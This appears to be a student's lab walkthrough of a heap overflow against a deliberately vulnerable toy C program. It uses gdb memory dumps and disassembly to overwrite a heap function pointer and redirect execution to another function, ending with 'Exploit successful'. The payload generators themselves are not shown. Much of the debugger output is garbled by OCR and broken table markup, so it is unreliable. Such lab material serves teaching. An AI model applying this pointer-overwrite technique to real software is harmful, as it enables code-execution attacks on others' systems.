Heap OverFlow

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Step 1

This first stepd efines the vulnerable program that we are going to run to check the heap overflow

```
(base) dimi@dimi:~/cpp/Heapoverflow$ gcc heapexample.c -w -g -no-pie -z
execstack -o heapexample

(base) dimi@dimi:~/cpp/Heapoverflow$ ./heapexample Hola
data: esta en [0x21a82a0] , el puntero fp esta en [0x21a82f0]
Esperando fuera
```

Step 2

The second step consists in the execution of different commands for checking the program behavior when it is running in our system.

```
Type "apropos word" to search for commands related to "word"...
--Type <RET> for more, q to quit, c to continue without paging--
Reading symbols from ./heapexample...
Reading symbols from ./heapexample...
(gdb) list 25,40
25
        int main( int argc , char **argv)
26
        {
27
        struct s_data *s_midat;
28
        struct s fp *f;
29
        s_midat = malloc(sizeof(struct s_data));
30
31
        f = malloc(sizeof(struct s fp));
        f->fp = f espero fuera;
32
33
34
        printf('data: esta en [%p] , el puntero fp esta en [%p]\n', s midat
, f);
35
        strcpy(s midat->buffer , argv[1]) ;
36
37
38
        f->fp();
39
40
        }
(gdb) b 38
Breakpoint 1 at 0x401240: file heapexample.c, line 38.
(gdb) run XXXX
Starting program: /home/dimi/cpp/Heapoverflow/heapexample XXXX
[Thread debugging using libthread db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
data: esta en [0x4052a0] , el puntero fp esta en [0x4052f0]
Breakpoint 1, main (argc=2, argv=0x7fffffffddc8) at heapexample.c:38
38
        f->fp();
info proc map
process 11843
Mapped address spaces:
          Start Addr
                               End Addr
                                               Size
                                                        Offset Perms
objfile
            0x400000
                               0x401000
                                             0×1000
                                                           0x0 r - p
/home/dimi/cpp/Heapoverflow/heapexample
```

0×401000	0×402000	0×1000	0×1000	r-xp	
/home/dimi/cpp/Heapover	flow/heapexample				
0×402000	0x403000	0×1000	0×2000	rp	
/home/dimi/cpp/Heapover	flow/heapexample				
0×403000	0×404000	0×1000	0×2000	rp	
/home/dimi/cpp/Heapover	flow/heapexample				
0×404000	0×405000	0×1000	0×3000	rw-p	
/home/dimi/cpp/Heapover	flow/heapexample				
0×405000	0x426000	0×21000	0×0	rw-p [heap]	
Type <ret> for more,</ret>	q to quit, c to <mark>c</mark>	<mark>ontinue</mark> with	nout paging		
0x7ffff7c00000	0x7fffff7c28000	0×28000	0×0	rp	
/usr/lib/x86_64-linux-g	nu/libc.so.6				
0x7ffff7c28000	0x7fffff7dbd000	0×195000	0x28000	r-xp	
/usr/lib/x86_64-linux-g	nu/libc.so.6				
0×7ffff7dbd000	0x7fffff7e15000	0×58000	0x1bd000	rp	
/usr/lib/x86_64-linux-g	nu/libc.so.6				
0x7ffff7e15000	0x7fffff7e19000	0×4000	0×214000	rp	
/usr/lib/x86_64-linux-g	nu/libc.so.6				
0x7ffff7e19000	0x7fffff7e1b000	0×2000	0x218000	rw-p	
/usr/lib/x86_64-linux-gnu/libc.so.6					
0x7fffff7e1b000	0x7fffff7e28000	0×d000	0×0	rw-p	
0x7ffff7fa4000	0x7ffff7fa7000	0×3000	0×0	rw-p	
0×7ffff7fbb000	0x7ffff7fbd000	0×2000	0×0	rw-p	
0x7ffff7fbd000	0x7ffff7fc1000	0×4000	0×0	rType	
<ret> for more, q to quit, c to continue without paging</ret>					

(gdb) info process 118 Mapped addre	43					
S	tart Addr 0x400000	End Addr 0x401000	Size 0x1000	Offset	Perms	objfile /home/dimi/cpp/Heapoverflow/h
eapexample	0.400000	0.401000	001000	0.00	Тр	/ Home/ d tht/ cpp/ Heapover 1 tow/ H
	0x401000	0x402000	0x1000	0x1000	г-хр	/home/dimi/cpp/Heapoverflow/h
eapexample	0x402000	0x403000	0x1000	0x2000	гр	/home/dimi/cpp/Heapoverflow/h
eapexample	0x403000	0x404000	0x1000	0x2000	Гр	/home/dimi/cpp/Heapoverflow/h
eapexample	0.403000	0.404000	0,1000	0.2000	, ь	/ Hone/ a the/ epp/ Heapover / tow/ H
	0x404000	0x405000	0x1000	0x3000	гw-р	/home/dimi/cpp/Heapoverflow/h
eapexample	0x405000	0x426000	0x21000	θχθ	rw-p	[heap]
Type <ret< td=""><td></td><td>to quit, c to con</td><td></td><td></td><td></td><td>[]</td></ret<>		to quit, c to con				[]

Now we are going to proceed to check the heap status using the next set of commands

[•]First check the memory address (in my case 0x405000)

(gdb) x/120x	0×405000			
0x405000:	0×00000000	0×00000000	0x00000291	0×00000000
0x405010:	0×00000000	0×00000000	0×00000000	0×00000000
0x405020:	0×00000000	0×00000000	0×00000000	0×00000000
0x405030:	0×00000000	0×00000000	0×00000000	0×00000000

0×405040:	0×00000000	0×00000000	0×00000000	0×00000000
0×405050:	0×00000000	0×00000000	0×00000000	0×00000000
0×405060:	0×00000000	0×00000000	0×00000000	0×00000000
0×405070:	0×00000000	0×00000000	0×00000000	0×00000000
0×405080:	0×00000000	0×00000000	0×00000000	0×00000000
0×405090:	0×00000000	0×00000000	0×00000000	0×00000000
0x4050a0:	0×00000000	0×00000000	0×00000000	0×00000000
0x4050b0:	0×00000000	0×00000000	0×00000000	0×00000000
0x4050c0:	0×00000000	0×00000000	0×00000000	0×00000000
0×4050d0:	0×00000000	0×00000000	0×00000000	0×00000000
0x4050e0:	0×00000000	0×00000000	0×00000000	0×00000000
0x4050f0:	0×00000000	0×00000000	0×00000000	0×00000000
0×405100:	0×00000000	0×00000000	0×00000000	0×00000000
0×405110:	0×00000000	0×00000000	0×00000000	0×00000000
0×405120:	0×00000000	0×00000000	0×00000000	0×0000000

After your XXXX (0x00401190) you should be able to find an address that corresponds with f_espero_fuera

((gdb) $x/240x$	0×405000			
0×405000:	0×00000000	<mark>0</mark> ×00000000	0×00000291	0×00000000
0×405010:	0×00000000	0×00000000	0×00000000	0×00000000
0×405020:	0×00000000	0×00000000	0×00000000	0×00000000
0×405030:	0×00000000	0×00000000	0×00000000	0×00000000
0×405040:	0×00000000	0×00000000	0×00000000	0×00000000
0×405050:	0×00000000	0×00000000	0×00000000	0×00000000
0×405060:	0×00000000	<mark>0</mark> ×00000000	0×00000000	0×00000000
0×405070:	0×00000000	<mark>0</mark> ×00000000	0×00000000	0×00000000
0×405080:	0×00000000	<mark>0</mark> ×00000000	0×00000000	0×00000000
0×405090:	0×00000000	<mark>0</mark> ×00000000	0×00000000	0×00000000
0x4050a0:	0×00000000	<mark>0</mark> ×00000000	0×00000000	0×00000000
0×4050b0:	0×00000000	<mark>0</mark> ×00000000	0×00000000	0×00000000
0x4050c0:	0×00000000	<mark>0</mark> ×00000000	0×00000000	0×00000000
0×4050d0:	0×00000000	<mark>0</mark> ×00000000	0×00000000	0×00000000
0x4050e0:	0×00000000	<mark>0</mark> ×00000000	0×00000000	0×00000000
0x4050f0:	0×00000000	<mark>0</mark> ×00000000	0×00000000	0×00000000
0×405100:	0×00000000	<mark>0</mark> ×00000000	0×00000000	0×00000000
0×405110:	0×00000000	<mark>0</mark> ×00000000	0×00000000	0×00000000
0×405120:	0×00000000	<mark>0</mark> ×00000000	0×00000000	0×00000000
0×405130:	0×00000000	<mark>0</mark> ×00000000	0×00000000	0×00000000
0×405140:	0×00000000	<mark>0</mark> ×00000000	0×00000000	0×00000000
0×405150:	0×00000000	<mark>0</mark> ×00000000	0×00000000	0×00000000
0×405160:	0×00000000	<mark>0</mark> ×00000000	0×00000000	0×00000000
0×405170:	<mark>0</mark> ×00000000	<mark>0</mark> ×00000000	0×00000000	0×00000000

0×405180:	<mark>0</mark> ×00000000	<mark>0</mark> ×00000000	<mark>0</mark> ×00000000	0×00000000
0×405190:	0×00000000	0×00000000	0×00000000	0×00000000
0x4051a0:	0×00000000	0×00000000	0×00000000	0×00000000
0×4051b0:	<mark>0</mark> ×00000000	<mark>0</mark> ×00000000	<mark>0</mark> ×00000000	<mark>0</mark> ×00000000
0x4051c0:	<mark>0</mark> ×00000000	<mark>0</mark> ×00000000	<mark>0</mark> ×00000000	0×00000000
0×4051d0:	<mark>0</mark> ×00000000	<mark>0</mark> ×00000000	<mark>0</mark> ×00000000	0×00000000
0x4051e0:	<mark>0</mark> ×00000000	<mark>0</mark> ×00000000	<mark>0</mark> ×00000000	0×00000000
0×4051f0:	<mark>0</mark> ×00000000	<mark>0</mark> ×00000000	<mark>0</mark> ×00000000	0×00000000
0×405200:	<mark>0</mark> ×00000000	<mark>0</mark> ×00000000	<mark>0</mark> ×00000000	0×00000000
0×405210:	<mark>0</mark> ×00000000	<mark>0</mark> ×00000000	<mark>0</mark> ×00000000	0×00000000
0×405220:	<mark>0</mark> ×00000000	<mark>0</mark> ×00000000	<mark>0</mark> ×00000000	0×00000000
0×405230:	<mark>0</mark> ×00000000	<mark>0</mark> ×00000000	<mark>0</mark> ×00000000	0×00000000
0×405240:	<mark>0</mark> ×00000000	<mark>0</mark> ×00000000	<mark>0</mark> ×00000000	0×00000000
0×405250:	<mark>0</mark> ×00000000	<mark>0</mark> ×00000000	<mark>0</mark> ×00000000	0×00000000
0×405260:	<mark>0</mark> ×00000000	<mark>0</mark> ×00000000	<mark>0</mark> ×00000000	0×00000000
0×405270:	<mark>0</mark> ×00000000	<mark>0</mark> ×00000000	<mark>0</mark> ×00000000	0×00000000
0×405280:	<mark>0</mark> ×00000000	<mark>0</mark> ×00000000	<mark>0</mark> ×00000000	0×00000000
0×405290:	<mark>0</mark> ×00000000	<mark>0</mark> ×00000000	<mark>0</mark> ×00000051	0×00000000
(gdb) $x/240x$ 0	<405000			
0×405000:	<mark>0</mark> ×00000000	<mark>0</mark> ×00000000	<mark>0</mark> x00000291	<mark>0</mark> ×00000000
0×405010:	<mark>0</mark> ×00000000	<mark>0</mark> ×00000000	<mark>0</mark> ×00000000	<mark>0</mark> ×00000000
0×405020:	<mark>0</mark> ×00000000	<mark>0</mark> ×00000000	<mark>0</mark> ×00000000	<mark>0</mark> ×00000000
0×405030:	<mark>0</mark> ×00000000	<mark>0</mark> ×00000000	<mark>0</mark> ×00000000	<mark>0</mark> ×00000000
0×405040:	<mark>0</mark> ×00000000	<mark>0</mark> ×00000000	<mark>0</mark> ×00000000	<mark>0</mark> ×00000000
0×405050:	<mark>0</mark> ×00000000	<mark>0</mark> ×00000000	<mark>0</mark> ×00000000	<mark>0</mark> ×00000000
0×405060:	<mark>0</mark> ×00000000	<mark>0</mark> ×00000000	<mark>0</mark> ×00000000	<mark>0</mark> ×00000000
0×405070:	0×00000000	<mark>0</mark> ×00000000	<mark>0</mark> ×00000000	0×00000000
0×405080:	0×00000000	<mark>0</mark> ×00000000	<mark>0</mark> ×00000000	0×00000000
0×405090:	0×00000000	0×00000000	0×00000000	0×00000000
0x4050a0:	0×00000000	0×00000000	0×00000000	0×00000000
0x4050b0:	0×00000000	0×00000000	0×00000000	0×00000000
0x4050c0:	0×00000000	0×00000000	0×00000000	0×00000000
0×4050d0:	0×00000000	0×00000000	0×00000000	0×00000000
0x4050e0:	0×00000000	0×00000000	0×00000000	0×00000000
0x4050f0:	0×00000000	0×00000000	0×00000000	0×00000000
0×405100:	0×00000000	0×00000000	0×00000000	0×00000000
0×405110:	0×00000000	0×00000000	0×00000000	0×00000000
0×405120:	0×00000000	0×00000000	0×00000000	0×00000000
0×405130:	0×00000000	0×00000000	0×00000000	0×00000000
0×405140:	0×00000000	0×00000000	0×00000000	0×00000000
0×405150:	0×00000000	0×00000000	0×00000000	0×00000000
0×405160:	0×00000000	0×00000000	0×00000000	0×00000000
0×405170:	<mark>0</mark> ×00000000	<mark>0</mark> ×00000000	<mark>0</mark> ×00000000	<mark>0</mark> ×00000000

0×405180:	<mark>0</mark> ×00000000	0×00000000	0×00000000	0×00000000
0×405190:	<mark>0</mark> ×00000000	0×00000000	0×00000000	0×00000000
<pre>0x4051a0:</pre>	<mark>0</mark> ×00000000	0×00000000	0×00000000	0×00000000
<pre>0x4051b0:</pre>	<mark>0</mark> ×00000000	0×00000000	0×00000000	0×00000000
<pre>0x4051c0:</pre>	<mark>0</mark> ×00000000	0×00000000	0×00000000	0×00000000
<pre>0x4051d0:</pre>	<mark>0</mark> ×00000000	0×00000000	0×00000000	0×00000000
<pre>0x4051e0:</pre>	<mark>0</mark> ×00000000	0×00000000	<mark>0</mark> ×00000000	0×00000000
<pre>0x4051f0:</pre>	<mark>0</mark> ×00000000	0×00000000	<mark>0</mark> ×00000000	0×00000000
0×405200:	<mark>0</mark> ×00000000	0×00000000	<mark>0</mark> ×00000000	0×00000000
0×405210:	<mark>0</mark> ×00000000	0×00000000	<mark>0</mark> ×00000000	0×00000000
0×405220:	<mark>0</mark> ×00000000	0×00000000	<mark>0</mark> ×00000000	0×00000000
0×405230:	<mark>0</mark> ×00000000	0×00000000	<mark>0</mark> ×00000000	0×00000000
0×405240:	<mark>0</mark> ×00000000	0×00000000	<mark>0</mark> ×00000000	0×00000000
0×405250:	<mark>0</mark> ×00000000	0×00000000	<mark>0</mark> ×00000000	0×00000000
0×405260:	<mark>0</mark> ×00000000	<mark>0</mark> ×00000000	<mark>0</mark> ×00000000	<mark>0</mark> ×00000000
0×405270:	<mark>0</mark> ×00000000	<mark>0</mark> ×00000000	<mark>0</mark> ×00000000	<mark>0</mark> ×00000000
0x405280:	<mark>0</mark> ×00000000	<mark>0</mark> ×00000000	<mark>0</mark> ×00000000	<mark>0</mark> ×00000000
0×405290:	<mark>0</mark> ×00000000	0×00000000	0×00000051	0×00000000
** <mark>0</mark> x4052a0:	<mark>0</mark> x58585858	<mark>0</mark> ×00000000	<mark>0</mark> ×00000000	0×00000000**
0x4052b0:	<mark>0</mark> ×00000000	<mark>0</mark> ×00000000	<mark>0</mark> ×00000000	<mark>0</mark> ×00000000
0x4052c0:	<mark>0</mark> ×00000000	<mark>0</mark> ×00000000	<mark>0</mark> ×00000000	<mark>0</mark> ×00000000
0x4052b0:	0×00000000	0×00000000	<mark>0</mark> ×00000000	0×00000000
0x4052c0:	<mark>0</mark> ×00000000	0×00000000	0×00000000	0×00000000

After your XXXX (0x58585858) you should be able to find an address that corresponds with f_espero_fuera

0x4052a0: **0x58585858** 0x00000000 0x00000000 0x00000000

```
(gdb) disassemble f_espero_fuera
Dump of assembler code for function f_espero_fuera:
   0×00000000004011b0 <+0>:
                                 endbr64
   0x00000000004011b4 <+4>:
                                 push
                                        %rbp
   0x00000000004011b5 <+5>:
                                 mov
                                        %rsp,%rbp
   0x00000000004011b8 <+8>:
                                        0xe51(%rip),%rax
                                                               # 0x402010
                                 lea
   0x00000000004011bf <+15>:
                                        %rax,%rdi
                                 mov
   0x00000000004011c2 <+18>:
                                 call
                                        0x401080 <puts@plt>
   0x00000000004011c7 <+23>:
                                 nop
   0x00000000004011c8 <+24>:
                                 pop
                                        %rbp
   0x00000000004011c9 <+25>:
                                 ret
End of assembler dump.
(gdb)
```

0x0000000004011b4 <+4>: push %rbp

Step 3

This step analyzes the behavior of the system when exploit the memory location.

Program received signal SIGSEGV, Segmentation fault.

0x0000000000464544 in ?? ()

```
(base) dimi@dimi:~/cpp/Heapoverflow$ ./heapexample $(./pp1) data: esta en [0xe632a0] , el puntero fp esta en [0xe632f0] Segmentation fault (core dumped)
```

Step 4

```
(gdb) run $(./pp2)
Starting program: /home/dimi/cpp/Heapoverflow/heapexample $(./pp2)
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
data: esta en [0x4052a0] , el puntero fp esta en [0x4052f0]

Program received signal SIGSEGV, Segmentation fault.
0x0000000047594659 in ?? ()

(gdb) run $(./pp3)
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /home/dimi/cpp/Heapoverflow/heapexample $(./pp3)
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
data: esta en [0x4052a0] , el puntero fp esta en [0x4052f0]
```



((gdb) info registers Program received signal SIGSEGV, Segmentation fault. 0x00000000000464544 in ?? () (gdb) info registers 0×0 0 rax rbx 0×0 0 rcx 0x60 96 rdx 0x464544 4605252 rsi 0x7fffffffe180 140737488347520 rdi 0x4052e3 4215523 0x7fffffffdc60 0x7fffffffdc60 rbp 0x7fffffffdc38 0x7fffffffdc38 rsp 0×0 r8 0x7fffffffdb12 r9 140737488345874

```
r10
                  0x7fffff7c0adb8
                                          140737349987768
r11
                  0x7fffff7d9eab0
                                          140737351641776
                  0x7ffffffdd78
r12
                                          140737488346488
r13
                  0x4011ca
                                          4198858
r14
                  0x403e18
                                          4210200
r15
                  0x7ffff7ffd040
                                          140737354125376
                  0x464544
                                          0x464544
rip
                                          [ PF ZF IF RF ]
                  0x10246
eflags
                  0x33
                                          51
CS
                  0x2b
                                          43
SS
                  0 \times 0
                                          0
ds
                  0 \times 0
                                          0
es
                                          0
fs
                  0 \times 0
                                          0
                  0 \times 0
gs
(gdb)
```

rip 0x464544 0x464544

Because we are able to put our own address to execute, we are going to call the f_entrar function:

```
(gdb) disassemble f entrar
Dump of assembler code for function f_entrar:
   0x0000000000401196 <+0>:
                                endbr64
   0x000000000040119a <+4>:
                                push
                                       %rbp
   0x000000000040119b <+5>:
                                mov
                                       %rsp,%rbp
   0x000000000040119e <+8>:
                                       0xe63(%rip),%rax
                                lea
                                                               # 0x402008
   0x000000000004011a5 <+15>:
                                       %rax,%rdi
                                mov
   0x00000000004011a8 <+18>:
                                call
                                        0x401080 <puts@plt>
   0x00000000004011ad <+23>:
                                nop
   0x00000000004011ae <+24>:
                                       %rbp
                                pop
   0x00000000004011af <+25>:
                                 ret
End of assembler dump.
```

Step 5

Finally, we are going to exploit the program for calling a function stored in the heap.

```
(base) dimi@dimi:~/cpp/Heapoverflow$ ./heapexample $(./pp4) bash: warning: command substitution: ignored null byte in input data: esta en [0x18712a0] , el puntero fp esta en [0x18712f0] Pasando
```

Exploit successful !!!